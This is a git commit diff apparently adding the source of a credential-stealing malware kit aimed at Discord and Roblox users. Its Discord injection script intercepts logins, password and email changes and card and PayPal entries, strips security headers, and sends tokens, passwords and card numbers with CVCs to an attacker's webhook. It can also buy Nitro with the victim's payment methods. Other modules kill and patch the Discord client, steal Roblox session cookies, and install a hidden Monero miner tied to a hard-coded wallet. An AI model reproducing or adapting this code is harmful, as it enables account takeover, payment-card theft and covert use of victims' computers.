Initial commit

This commit is contained in:
unknown
2026-06-06 01:22:00 +02:00
commit f07fa412f0
132 changed files with 22246 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.8 KiB

Binary file not shown.

View File

@@ -0,0 +1,986 @@
const args = process.argv;
const fs = require('fs');
const path = require('path');
const https = require('https');
const querystring = require('querystring');
const { BrowserWindow, session } = require('electron');
const config = {
webhook: '%WEBHOOK%', //your discord webhook there obviously or use the api from https://github.com/Rdimo/Discord-Webhook-Protector | Recommend using https://github.com/Rdimo/Discord-Webhook-Protector so your webhook can't be spammed or deleted
webhook_protector_key: '%WEBHOOK_KEY%', //your base32 encoded key IF you're using https://github.com/Rdimo/Discord-Webhook-Protector
auto_buy_nitro: false, //automatically buys nitro for you if they add credit card or paypal or tries to buy nitro themselves
ping_on_run: false, //sends whatever value you have in ping_val when you get a run/login
ping_val: '@everyone', //change to @here or <@ID> to ping specific user if you want, will only send if ping_on_run is true
embed_name: 'Rose-Stealer', //name of the webhook thats gonna send the info
embed_icon: 'https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/Rose.png', //icon for the webhook thats gonna send the info (yes you can have spaces in the url)
embed_color: 16711680, //color for the embed, needs to be hexadecimal (just copy a hex and then use https://www.binaryhexconverter.com/hex-to-decimal-converter to convert it)
injection_url: 'https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/data/obf-injection.js', //injection url for when it reinjects
/**
* @ATTENTION DON'T TOUCH UNDER HERE IF UNLESS YOU'RE MODIFYING THE INJECTION OR KNOW WHAT YOU'RE DOING @ATTENTION
**/
api: 'https://discord.com/api/v9/users/@me',
nitro: {
boost: {
year: {
id: '521847234246082599',
sku: '511651885459963904',
price: '9999',
},
month: {
id: '521847234246082599',
sku: '511651880837840896',
price: '999',
},
},
classic: {
month: {
id: '521846918637420545',
sku: '511651871736201216',
price: '499',
},
},
},
filter: {
urls: [
'https://discord.com/api/v*/users/@me',
'https://discordapp.com/api/v*/users/@me',
'https://*.discord.com/api/v*/users/@me',
'https://discordapp.com/api/v*/auth/login',
'https://discord.com/api/v*/auth/login',
'https://*.discord.com/api/v*/auth/login',
'https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts',
'https://api.stripe.com/v*/tokens',
'https://api.stripe.com/v*/setup_intents/*/confirm',
'https://api.stripe.com/v*/payment_intents/*/confirm',
],
},
filter2: {
urls: [
'https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json',
'https://*.discord.com/api/v*/applications/detectable',
'https://discord.com/api/v*/applications/detectable',
'https://*.discord.com/api/v*/users/@me/library',
'https://discord.com/api/v*/users/@me/library',
'wss://remote-auth-gateway.discord.gg/*',
],
},
};
function parity_32(x, y, z) {
return x ^ y ^ z;
}
function ch_32(x, y, z) {
return (x & y) ^ (~x & z);
}
function maj_32(x, y, z) {
return (x & y) ^ (x & z) ^ (y & z);
}
function rotl_32(x, n) {
return (x << n) | (x >>> (32 - n));
}
function safeAdd_32_2(a, b) {
var lsw = (a & 0xffff) + (b & 0xffff),
msw = (a >>> 16) + (b >>> 16) + (lsw >>> 16);
return ((msw & 0xffff) << 16) | (lsw & 0xffff);
}
function safeAdd_32_5(a, b, c, d, e) {
var lsw = (a & 0xffff) + (b & 0xffff) + (c & 0xffff) + (d & 0xffff) + (e & 0xffff),
msw = (a >>> 16) + (b >>> 16) + (c >>> 16) + (d >>> 16) + (e >>> 16) + (lsw >>> 16);
return ((msw & 0xffff) << 16) | (lsw & 0xffff);
}
function binb2hex(binarray) {
var hex_tab = '0123456789abcdef',
str = '',
length = binarray.length * 4,
i,
srcByte;
for (i = 0; i < length; i += 1) {
srcByte = binarray[i >>> 2] >>> ((3 - (i % 4)) * 8);
str += hex_tab.charAt((srcByte >>> 4) & 0xf) + hex_tab.charAt(srcByte & 0xf);
}
return str;
}
function getH() {
return [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0];
}
function roundSHA1(block, H) {
var W = [],
a,
b,
c,
d,
e,
T,
ch = ch_32,
parity = parity_32,
maj = maj_32,
rotl = rotl_32,
safeAdd_2 = safeAdd_32_2,
t,
safeAdd_5 = safeAdd_32_5;
a = H[0];
b = H[1];
c = H[2];
d = H[3];
e = H[4];
for (t = 0; t < 80; t += 1) {
if (t < 16) {
W[t] = block[t];
} else {
W[t] = rotl(W[t - 3] ^ W[t - 8] ^ W[t - 14] ^ W[t - 16], 1);
}
if (t < 20) {
T = safeAdd_5(rotl(a, 5), ch(b, c, d), e, 0x5a827999, W[t]);
} else if (t < 40) {
T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0x6ed9eba1, W[t]);
} else if (t < 60) {
T = safeAdd_5(rotl(a, 5), maj(b, c, d), e, 0x8f1bbcdc, W[t]);
} else {
T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0xca62c1d6, W[t]);
}
e = d;
d = c;
c = rotl(b, 30);
b = a;
a = T;
}
H[0] = safeAdd_2(a, H[0]);
H[1] = safeAdd_2(b, H[1]);
H[2] = safeAdd_2(c, H[2]);
H[3] = safeAdd_2(d, H[3]);
H[4] = safeAdd_2(e, H[4]);
return H;
}
function finalizeSHA1(remainder, remainderBinLen, processedBinLen, H) {
var i, appendedMessageLength, offset;
offset = (((remainderBinLen + 65) >>> 9) << 4) + 15;
while (remainder.length <= offset) {
remainder.push(0);
}
remainder[remainderBinLen >>> 5] |= 0x80 << (24 - (remainderBinLen % 32));
remainder[offset] = remainderBinLen + processedBinLen;
appendedMessageLength = remainder.length;
for (i = 0; i < appendedMessageLength; i += 16) {
H = roundSHA1(remainder.slice(i, i + 16), H);
}
return H;
}
function hex2binb(str, existingBin, existingBinLen) {
var bin,
length = str.length,
i,
num,
intOffset,
byteOffset,
existingByteLen;
bin = existingBin || [0];
existingBinLen = existingBinLen || 0;
existingByteLen = existingBinLen >>> 3;
if (0 !== length % 2) {
console.error('String of HEX type must be in byte increments');
}
for (i = 0; i < length; i += 2) {
num = parseInt(str.substr(i, 2), 16);
if (!isNaN(num)) {
byteOffset = (i >>> 1) + existingByteLen;
intOffset = byteOffset >>> 2;
while (bin.length <= intOffset) {
bin.push(0);
}
bin[intOffset] |= num << (8 * (3 - (byteOffset % 4)));
} else {
console.error('String of HEX type contains invalid characters');
}
}
return { value: bin, binLen: length * 4 + existingBinLen };
}
class jsSHA {
constructor() {
var processedLen = 0,
remainder = [],
remainderLen = 0,
intermediateH,
converterFunc,
outputBinLen,
variantBlockSize,
roundFunc,
finalizeFunc,
finalized = false,
hmacKeySet = false,
keyWithIPad = [],
keyWithOPad = [],
numRounds,
numRounds = 1;
converterFunc = hex2binb;
if (numRounds !== parseInt(numRounds, 10) || 1 > numRounds) {
console.error('numRounds must a integer >= 1');
}
variantBlockSize = 512;
roundFunc = roundSHA1;
finalizeFunc = finalizeSHA1;
outputBinLen = 160;
intermediateH = getH();
this.setHMACKey = function (key) {
var keyConverterFunc, convertRet, keyBinLen, keyToUse, blockByteSize, i, lastArrayIndex;
keyConverterFunc = hex2binb;
convertRet = keyConverterFunc(key);
keyBinLen = convertRet['binLen'];
keyToUse = convertRet['value'];
blockByteSize = variantBlockSize >>> 3;
lastArrayIndex = blockByteSize / 4 - 1;
if (blockByteSize < keyBinLen / 8) {
keyToUse = finalizeFunc(keyToUse, keyBinLen, 0, getH());
while (keyToUse.length <= lastArrayIndex) {
keyToUse.push(0);
}
keyToUse[lastArrayIndex] &= 0xffffff00;
} else if (blockByteSize > keyBinLen / 8) {
while (keyToUse.length <= lastArrayIndex) {
keyToUse.push(0);
}
keyToUse[lastArrayIndex] &= 0xffffff00;
}
for (i = 0; i <= lastArrayIndex; i += 1) {
keyWithIPad[i] = keyToUse[i] ^ 0x36363636;
keyWithOPad[i] = keyToUse[i] ^ 0x5c5c5c5c;
}
intermediateH = roundFunc(keyWithIPad, intermediateH);
processedLen = variantBlockSize;
hmacKeySet = true;
};
this.update = function (srcString) {
var convertRet,
chunkBinLen,
chunkIntLen,
chunk,
i,
updateProcessedLen = 0,
variantBlockIntInc = variantBlockSize >>> 5;
convertRet = converterFunc(srcString, remainder, remainderLen);
chunkBinLen = convertRet['binLen'];
chunk = convertRet['value'];
chunkIntLen = chunkBinLen >>> 5;
for (i = 0; i < chunkIntLen; i += variantBlockIntInc) {
if (updateProcessedLen + variantBlockSize <= chunkBinLen) {
intermediateH = roundFunc(chunk.slice(i, i + variantBlockIntInc), intermediateH);
updateProcessedLen += variantBlockSize;
}
}
processedLen += updateProcessedLen;
remainder = chunk.slice(updateProcessedLen >>> 5);
remainderLen = chunkBinLen % variantBlockSize;
};
this.getHMAC = function () {
var firstHash;
if (false === hmacKeySet) {
console.error('Cannot call getHMAC without first setting HMAC key');
}
const formatFunc = function (binarray) {
return binb2hex(binarray);
};
if (false === finalized) {
firstHash = finalizeFunc(remainder, remainderLen, processedLen, intermediateH);
intermediateH = roundFunc(keyWithOPad, getH());
intermediateH = finalizeFunc(firstHash, outputBinLen, variantBlockSize, intermediateH);
}
finalized = true;
return formatFunc(intermediateH);
};
}
}
if ('function' === typeof define && define['amd']) {
define(function () {
return jsSHA;
});
} else if ('undefined' !== typeof exports) {
if ('undefined' !== typeof module && module['exports']) {
module['exports'] = exports = jsSHA;
} else {
exports = jsSHA;
}
} else {
global['jsSHA'] = jsSHA;
}
if (jsSHA.default) {
jsSHA = jsSHA.default;
}
function totp(key) {
const period = 30;
const digits = 6;
const timestamp = Date.now();
const epoch = Math.round(timestamp / 1000.0);
const time = leftpad(dec2hex(Math.floor(epoch / period)), 16, '0');
const shaObj = new jsSHA();
shaObj.setHMACKey(base32tohex(key));
shaObj.update(time);
const hmac = shaObj.getHMAC();
const offset = hex2dec(hmac.substring(hmac.length - 1));
let otp = (hex2dec(hmac.substr(offset * 2, 8)) & hex2dec('7fffffff')) + '';
otp = otp.substr(Math.max(otp.length - digits, 0), digits);
return otp;
}
function hex2dec(s) {
return parseInt(s, 16);
}
function dec2hex(s) {
return (s < 15.5 ? '0' : '') + Math.round(s).toString(16);
}
function base32tohex(base32) {
let base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567',
bits = '',
hex = '';
base32 = base32.replace(/=+$/, '');
for (let i = 0; i < base32.length; i++) {
let val = base32chars.indexOf(base32.charAt(i).toUpperCase());
if (val === -1) console.error('Invalid base32 character in key');
bits += leftpad(val.toString(2), 5, '0');
}
for (let i = 0; i + 8 <= bits.length; i += 8) {
let chunk = bits.substr(i, 8);
hex = hex + leftpad(parseInt(chunk, 2).toString(16), 2, '0');
}
return hex;
}
function leftpad(str, len, pad) {
if (len + 1 >= str.length) {
str = Array(len + 1 - str.length).join(pad) + str;
}
return str;
}
const discordPath = (function () {
const app = args[0].split(path.sep).slice(0, -1).join(path.sep);
let resourcePath;
if (process.platform === 'win32') {
resourcePath = path.join(app, 'resources');
} else if (process.platform === 'darwin') {
resourcePath = path.join(app, 'Contents', 'Resources');
}
if (fs.existsSync(resourcePath)) return { resourcePath, app };
return { undefined, undefined };
})();
function updateCheck() {
const { resourcePath, app } = discordPath;
if (resourcePath === undefined || app === undefined) return;
const appPath = path.join(resourcePath, 'app');
const packageJson = path.join(appPath, 'package.json');
const resourceIndex = path.join(appPath, 'index.js');
const indexJs = `${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`;
const bdPath = path.join(process.env.APPDATA, '\\betterdiscord\\data\\betterdiscord.asar');
if (!fs.existsSync(appPath)) fs.mkdirSync(appPath);
if (fs.existsSync(packageJson)) fs.unlinkSync(packageJson);
if (fs.existsSync(resourceIndex)) fs.unlinkSync(resourceIndex);
if (process.platform === 'win32' || process.platform === 'darwin') {
fs.writeFileSync(
packageJson,
JSON.stringify(
{
name: 'discord',
main: 'index.js',
},
null,
4,
),
);
const startUpScript = `const fs = require('fs'), https = require('https');
const indexJs = '${indexJs}';
const bdPath = '${bdPath}';
const fileSize = fs.statSync(indexJs).size
fs.readFileSync(indexJs, 'utf8', (err, data) => {
if (fileSize < 20000 || data === "module.exports = require('./core.asar')")
init();
})
async function init() {
https.get('${config.injection_url}', (res) => {
const file = fs.createWriteStream(indexJs);
res.replace('%WEBHOOK%', '${config.webhook}')
res.replace('%WEBHOOK_KEY%', '${config.webhook_protector_key}')
res.pipe(file);
file.on('finish', () => {
file.close();
});
}).on("error", (err) => {
setTimeout(init(), 10000);
});
}
require('${path.join(resourcePath, 'app.asar')}')
if (fs.existsSync(bdPath)) require(bdPath);`;
fs.writeFileSync(resourceIndex, startUpScript.replace(/\\/g, '\\\\'));
}
if (!fs.existsSync(path.join(__dirname, 'initiation'))) return !0;
fs.rmdirSync(path.join(__dirname, 'initiation'));
execScript(
`window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`,
);
return !1;
}
const execScript = (script) => {
const window = BrowserWindow.getAllWindows()[0];
return window.webContents.executeJavaScript(script, !0);
};
const getInfo = async (token) => {
const info = await execScript(`var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "${config.api}", false);
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.send(null);
xmlHttp.responseText;`);
return JSON.parse(info);
};
const fetchBilling = async (token) => {
const bill = await execScript(`var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "${config.api}/billing/payment-sources", false);
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.send(null);
xmlHttp.responseText`);
if (!bill.lenght || bill.length === 0) return '';
return JSON.parse(bill);
};
const getBilling = async (token) => {
const data = await fetchBilling(token);
if (!data) return '❌';
let billing = '';
data.forEach((x) => {
if (!x.invalid) {
switch (x.type) {
case 1:
billing += '💳 ';
break;
case 2:
billing += '<:paypal:951139189389410365> ';
break;
}
}
});
if (!billing) billing = '❌';
return billing;
};
const Purchase = async (token, id, _type, _time) => {
const options = {
expected_amount: config.nitro[_type][_time]['price'],
expected_currency: 'usd',
gift: true,
payment_source_id: id,
payment_source_token: null,
purchase_token: '2422867c-244d-476a-ba4f-36e197758d97',
sku_subscription_plan_id: config.nitro[_type][_time]['sku'],
};
const req = execScript(`var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", "https://discord.com/api/v9/store/skus/${config.nitro[_type][_time]['id']}/purchase", false);
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.setRequestHeader('Content-Type', 'application/json');
xmlHttp.send(JSON.stringify(${JSON.stringify(options)}));
xmlHttp.responseText`);
if (req['gift_code']) {
return 'https://discord.gift/' + req['gift_code'];
} else return null;
};
const buyNitro = async (token) => {
const data = await fetchBilling(token);
const failedMsg = 'Failed to Purchase ❌';
if (!data) return failedMsg;
let IDS = [];
data.forEach((x) => {
if (!x.invalid) {
IDS = IDS.concat(x.id);
}
});
for (let sourceID in IDS) {
const first = Purchase(token, sourceID, 'boost', 'year');
if (first !== null) {
return first;
} else {
const second = Purchase(token, sourceID, 'boost', 'month');
if (second !== null) {
return second;
} else {
const third = Purchase(token, sourceID, 'classic', 'month');
if (third !== null) {
return third;
} else {
return failedMsg;
}
}
}
}
};
const getNitro = (flags) => {
switch (flags) {
case 0:
return 'No Nitro';
case 1:
return 'Nitro Classic';
case 2:
return 'Nitro Boost';
default:
return 'No Nitro';
}
};
const getBadges = (flags) => {
let badges = '';
switch (flags) {
case 1:
badges += 'Discord Staff, ';
break;
case 2:
badges += 'Partnered Server Owner, ';
break;
case 131072:
badges += 'Verified Bot Developer, ';
break;
case 4:
badges += 'Hypesquad Event, ';
break;
case 16384:
badges += 'Gold BugHunter, ';
break;
case 8:
badges += 'Green BugHunter, ';
break;
case 512:
badges += 'Early Supporter, ';
break;
case 128:
badges += 'HypeSquad Brillance, ';
break;
case 64:
badges += 'HypeSquad Bravery, ';
break;
case 256:
badges += 'HypeSquad Balance, ';
break;
case 0:
badges = 'None';
break;
default:
badges = 'None';
break;
}
return badges;
};
const hooker = async (content) => {
const data = JSON.stringify(content);
const url = new URL(config.webhook);
const headers = {
'Content-Type': 'application/json',
'Access-Control-Allow-Origin': '*',
};
if (!config.webhook.includes('api/webhooks')) {
const key = totp(config.webhook_protector_key);
headers['Authorization'] = key;
}
const options = {
protocol: url.protocol,
hostname: url.host,
path: url.pathname,
method: 'POST',
headers: headers,
};
const req = https.request(options);
req.on('error', (err) => {
console.log(err);
});
req.write(data);
req.end();
};
const login = async (email, password, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Account Info**',
value: `Email: **${email}** - Password: **${password}**`,
inline: false,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: false,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};
const passwordChanged = async (oldpassword, newpassword, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Password Changed**',
value: `Email: **${json.email}**\nOld Password: **${oldpassword}**\nNew Password: **${newpassword}**`,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};
const emailChanged = async (email, password, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Email Changed**',
value: `New Email: **${email}**\nPassword: **${password}**`,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};
const PaypalAdded = async (token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Paypal Added**',
value: `Time to buy some nitro baby 😩`,
inline: false,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}*\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: false,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};
const ccAdded = async (number, cvc, expir_month, expir_year, token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const content = {
username: config.embed_name,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Credit Card Added**',
value: `Credit Card Number: **${number}**\nCVC: **${cvc}**\nCredit Card Expiration: **${expir_month}/${expir_year}**`,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val;
hooker(content);
};
const nitroBought = async (token) => {
const json = await getInfo(token);
const nitro = getNitro(json.premium_type);
const badges = getBadges(json.flags);
const billing = await getBilling(token);
const code = await buyNitro(token);
const content = {
username: config.embed_name,
content: code,
avatar_url: config.embed_icon,
embeds: [
{
color: config.embed_color,
fields: [
{
name: '**Nitro bought!**',
value: `**Nitro Code:**\n\`\`\`diff\n+ ${code}\`\`\``,
inline: true,
},
{
name: '**Discord Info**',
value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`,
inline: true,
},
{
name: '**Token**',
value: `\`${token}\``,
inline: false,
},
],
author: {
name: json.username + '#' + json.discriminator + ' | ' + json.id,
icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`,
},
footer: {
text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection',
},
},
],
};
if (config.ping_on_run) content['content'] = config.ping_val + `\n${code}`;
hooker(content);
};
session.defaultSession.webRequest.onBeforeRequest(config.filter2, (details, callback) => {
if (details.url.startsWith('wss://remote-auth-gateway')) return callback({ cancel: true });
updateCheck();
});
session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
if (details.url.startsWith(config.webhook)) {
if (details.url.includes('discord.com')) {
callback({
responseHeaders: Object.assign(
{
'Access-Control-Allow-Headers': '*',
},
details.responseHeaders,
),
});
} else {
callback({
responseHeaders: Object.assign(
{
'Content-Security-Policy': ["default-src '*'", "Access-Control-Allow-Headers '*'", "Access-Control-Allow-Origin '*'"],
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Origin': '*',
},
details.responseHeaders,
),
});
}
} else {
delete details.responseHeaders['content-security-policy'];
delete details.responseHeaders['content-security-policy-report-only'];
callback({
responseHeaders: {
...details.responseHeaders,
'Access-Control-Allow-Headers': '*',
},
});
}
});
session.defaultSession.webRequest.onCompleted(config.filter, async (details, _) => {
if (details.statusCode !== 200 && details.statusCode !== 202) return;
const unparsed_data = Buffer.from(details.uploadData[0].bytes).toString();
const data = JSON.parse(unparsed_data);
const token = await execScript(
`(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()`,
);
switch (true) {
case details.url.endsWith('login'):
login(data.login, data.password, token).catch(console.error);
break;
case details.url.endsWith('users/@me') && details.method === 'PATCH':
if (!data.password) return;
if (data.email) {
emailChanged(data.email, data.password, token).catch(console.error);
}
if (data.new_password) {
passwordChanged(data.password, data.new_password, token).catch(console.error);
}
break;
case details.url.endsWith('tokens') && details.method === 'POST':
const item = querystring.parse(unparsedData.toString());
ccAdded(item['card[number]'], item['card[cvc]'], item['card[exp_month]'], item['card[exp_year]'], token).catch(console.error);
break;
case details.url.endsWith('paypal_accounts') && details.method === 'POST':
PaypalAdded(token).catch(console.error);
break;
case details.url.endsWith('confirm') && details.method === 'POST':
if (!config.auto_buy_nitro) return;
setTimeout(() => {
nitroBought(token).catch(console.error);
}, 7500);
break;
default:
break;
}
});
module.exports = require('./core.asar');

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,37 @@
pypiwin32
beautifulsoup4
PyQt5
requests
rich
dhooks
pyinstaller
python-socketio
flaskwebgui
nicegui
datetime
opencv-python
pyttsx3
pynput
browser_cookie3
crypto
tabulate
Pillow
WMI
psutil
pycryptodome
mss
pygame
keyboard
pyperclip
pyzipper
cryptography
wmi
gputil
pygame
pyautogui
pywifi
pywebview
getmac
colorlog
PyNaCl
discord.py

View File

@@ -0,0 +1,47 @@
import os
import requests
import subprocess
import shutil
import string
import random
import threading
from zipfile import ZipFile
def get_random_string(length):
letters = string.digits
result_str = "".join(random.choice(letters) for i in range(length))
return result_str
def xmrig():
working_dir = os.path.join(os.getenv("APPDATA"), "rose")
if not os.path.exists(working_dir):
os.mkdir(working_dir)
xmrig_zip = os.path.join(working_dir, "xmrig.zip")
xmrig_dir = os.path.join(working_dir, "xmrig")
xmrig_exe = os.path.join(xmrig_dir, "xmrig-6.21.0", "xmrig.exe")
if os.path.exists(xmrig_dir):
shutil.rmtree(xmrig_dir)
if os.path.exists(xmrig_zip):
os.remove(xmrig_zip)
response = requests.get("https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip")
response.raise_for_status()
open(xmrig_zip, "wb").write(response.content)
with ZipFile(xmrig_zip, "r") as zip_ref:
zip_ref.extractall(xmrig_dir)
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.Popen([xmrig_exe, "--donate-level", "1", "-o", "de.monero.herominers.com:1111", "-u", "49vfj17oFnshJpoX52tmacXhXd9ivUjdJC51fPUG8dFsXY8m39rTYj2TzrMWp7QwARP3QtBCKEqvkjDiYDMADD5PALx1XBu", "-p", get_random_string(12), "-a", "rx/0", "-k", "--background"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo, creationflags=subprocess.CREATE_NO_WINDOW | subprocess.DETACHED_PROCESS, close_fds=True)
threading.Thread(target=xmrig()).start()

View File

@@ -0,0 +1,61 @@
# Entire code from https://github.com/addi00000/empyrean!
# Go give him some love.
from bin.config import Config
cc = Config()
import requests
import psutil
import re
import os
import subprocess
class InjectionX:
def __init__(self, webhook: str) -> None:
self.appdata = os.getenv("LOCALAPPDATA")
self.discord_dirs = [self.appdata + "\\Discord", self.appdata + "\\DiscordCanary", self.appdata + "\\DiscordPTB", self.appdata + "\\DiscordDevelopment"]
self.code = requests.get("https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/data/injection.js").text
if cc.get_nitro_auto_buy() is True:
self.code = self.code.replace("auto_buy_nitro: false,", "auto_buy_nitro: true,")
for proc in psutil.process_iter():
if "discord" in proc.name().lower():
proc.kill()
for dir in self.discord_dirs:
if not os.path.exists(dir):
continue
if self.get_core(dir) is not None:
with open(self.get_core(dir)[0] + "\\index.js", "w", encoding="utf-8") as f:
f.write((self.code).replace("discord_desktop_core-1", self.get_core(dir)[1]).replace("%WEBHOOK%", webhook))
self.start_discord(dir)
@staticmethod
def get_core(dir: str) -> tuple:
for file in os.listdir(dir):
if re.search(r"app-+?", file):
modules = dir + "\\" + file + "\\modules"
if not os.path.exists(modules):
continue
for file in os.listdir(modules):
if re.search(r"discord_desktop_core-+?", file):
core = modules + "\\" + file + "\\" + "discord_desktop_core"
if not os.path.exists(core + "\\index.js"):
continue
return core, file
@staticmethod
def start_discord(dir: str) -> None:
update = dir + "\\Update.exe"
executable = dir.split("\\")[-1] + ".exe"
for file in os.listdir(dir):
if re.search(r"app-+?", file):
app = dir + "\\" + file
if os.path.exists(app + "\\" + "modules"):
for file in os.listdir(app):
if file == executable:
executable = app + "\\" + executable
subprocess.call([update, "--processStart", executable], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

View File

@@ -0,0 +1,12 @@
from tabulate import tabulate
class FileX:
def table_wifi(self, data):
listx = [["SSID", "Password"]]
for value in data:
listx.append([value["ssid"], value["password"]])
tablex = tabulate(listx, headers="firstrow", tablefmt="grid")
return tablex

View File

@@ -0,0 +1,8 @@
import string
import random
def get_random_string(length):
letters = string.digits
result_str = "".join(random.choice(letters) for i in range(length))
return result_str

View File

@@ -0,0 +1,35 @@
import requests
import browser_cookie3
from bin.config import Config
from bin.webhook import _WebhookX
class RobloxX:
def __init__(self):
self.web = _WebhookX().get_object()
self.cc = Config()
def UploadRobloxCookie(self, roblox_cookie):
try:
info = requests.get("https://www.roblox.com/mobileapi/userinfo", cookies={".ROBLOSECURITY": roblox_cookie}).json()
json = {"embed": {"description": "Roblox Cookie Grabber:", "color": 13395456, "timestamp": "now", "author": {"name": self.cc.get_name(), "icon_url": self.cc.get_avatar()}, "footer": {"text": self.cc.get_footer(), "icon_url": self.cc.get_avatar()}, "fields": [{"name": "User ID:", "value": "`" + info["UserID"] + "`"}, {"name": "Username:", "value": "`" + info["UserName"] + "`"}, {"name": "Robux Balance:", "value": "`" + info["RobuxBalance"] + "`"}, {"name": "IsPremium:", "value": "`" + info["IsPremium"] + "`"}, {"name": "ROBLOSECURITY:", "value": "Roblox Cookie ```" + roblox_cookie + "```"}], "image": {"url": info["ThumbnailUrl"]}}}
requests.self(self.web, json=json)
except:
